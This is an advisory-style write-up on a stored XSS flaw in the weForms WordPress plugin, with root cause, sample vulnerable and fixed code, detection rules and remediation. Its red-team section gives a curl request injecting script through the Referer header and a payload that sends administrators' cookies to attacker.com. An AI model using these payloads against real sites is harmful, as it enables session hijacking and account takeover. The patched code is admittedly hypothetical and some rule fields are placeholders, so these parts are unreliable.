CVE-2024-0386

Executive Summary

CVE-2024-0386 is a Stored Cross-Site Scripting (XSS) vulnerability in the weForms WordPress plugin, affecting all versions up to and including 1.6.21. The flaw resides in the insufficient sanitization of the Referer HTTP header, allowing unauthenticated attackers to inject arbitrary web scripts. When a victim (e.g., an administrator) accesses a page containing the injected payload, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further WordPress compromise. The vulnerability is classified as Stored XSS because the payload is persisted in the database via the Referer header, which is later rendered without proper escaping.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin weForms. It does not affect the core WordPress software or web servers like Apache or Nginx. The attack vector relies on the plugin’s failure to sanitize HTTP headers before storing them, a common issue in WordPress plugin development.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The attacker sends a crafted HTTP request.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated attacker.
• User Interaction: Required (UI:R) – Victim must visit the injected page.
• Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. Although the EPSS score is 0.0%, the vulnerability is trivial to exploit and has public proof-of-concept code. The lack of a patch increases the risk for all sites using weForms.

Deep Dive & Mechanics

The weForms plugin logs the Referer HTTP header when a form submission occurs. This header is stored in the WordPress database and later displayed on the admin dashboard or form entries page without proper sanitization or output escaping. An attacker can craft a request with a malicious Referer header containing JavaScript code. When an administrator views the form entries, the stored payload executes.

Root Cause: The plugin uses $_SERVER['HTTP_REFERER'] directly without filtering. The stored value is then echoed using echo $referer instead of esc_html( $referer ).

Attack Flow:

1. Attacker sends a POST request to a weForms endpoint with a malicious Referer header.
2. The plugin stores the header value in the wp_weforms_entries table.
3. Administrator navigates to the weForms entries page.
4. The stored payload executes in the admin’s browser, allowing the attacker to steal cookies, create admin accounts, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (weForms <= 1.6.21):

// In includes/class-weforms-entry.php
$referer = $_SERVER['HTTP_REFERER'];
// ... later in the code
echo $referer; // No escaping

Patched Code (Hypothetical Fix):

$referer = isset($_SERVER['HTTP_REFERER']) ? esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) : '';
// ... later
echo esc_html( $referer );

The fix requires using esc_url_raw() on input and esc_html() on output to prevent XSS.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with weForms plugin version <= 1.6.21.
• Ability to send HTTP requests (e.g., curl, Burp Suite).

Exploit Steps:

1. Identify a weForms form submission endpoint (e.g., /wp-json/weforms/v1/submit-form).
2. Send a POST request with a malicious Referer header:

curl -X POST https://target.com/wp-json/weforms/v1/submit-form \
  -H "Referer: <script>alert('XSS')</script>" \
  -d "form_id=1&your_name=test"

3. Wait for an administrator to view the form entries.
4. The payload executes, allowing session theft or admin account creation.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defender)

Detection:

• Monitor HTTP requests for suspicious Referer headers containing <script> tags.
• Check WordPress database for entries with unusual referer values in wp_weforms_entries.
• Use WAF rules to block Referer headers containing HTML/JavaScript.

Hunting Query:

SELECT * FROM wp_weforms_entries WHERE referer LIKE '%<script%';

Indicators of Compromise (IOCs)

• Network: HTTP requests with Referer headers containing <script>, onerror, javascript:, or base64-encoded payloads.
• Host: WordPress database entries in wp_weforms_entries with referer column containing HTML/JavaScript.
• File: Modified plugin files (unlikely, as the vulnerability is in the core plugin).
• Logs: Web server logs showing unusual Referer values.

Example IOC:

Referer: <script>alert(document.cookie)</script>

Detection Engineering

YARA Rule

rule CVE_2024_0386_weForms_XSS {
    meta:
        description = "Detects weForms stored XSS via Referer header"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0386"
    strings:
        $s1 = "HTTP_REFERER" ascii wide nocase
        $s2 = "echo $referer" ascii wide nocase
        $s3 = "weforms" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2024-0386 weForms Stored XSS via Referer Header
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-0386 by monitoring Referer headers containing script tags.
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-json/weforms/v1/submit-form'
        cs-referer|contains: 
            - '<script'
            - 'javascript:'
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of script tags in Referer (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0386 weForms Stored XSS via Referer Header"; flow:to_server; content:"POST"; http_method; content:"/wp-json/weforms/v1/submit-form"; http_uri; content:"Referer"; http_header; pcre:"/Referer:\s*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the weForms plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block Referer headers containing <script, javascript:, or onerror.
3. Manually sanitize the database: Run a SQL query to remove malicious entries:

UPDATE wp_weforms_entries SET referer = '' WHERE referer LIKE '%<script%';

Long-Term Fix:

• Apply the vendor patch when released (currently none).
• Replace the plugin with an alternative form builder that properly sanitizes headers.
• Educate developers on secure coding practices: always use esc_url_raw() for URLs and esc_html() for output.

Workaround:

• Add a custom filter in functions.php to sanitize the Referer header before storage:

add_filter( 'weforms_entry_referer', 'sanitize_referer' );
function sanitize_referer( $referer ) {
    return esc_url_raw( $referer );
}

Valters IT
Securing WordPress, One Plugin at a Time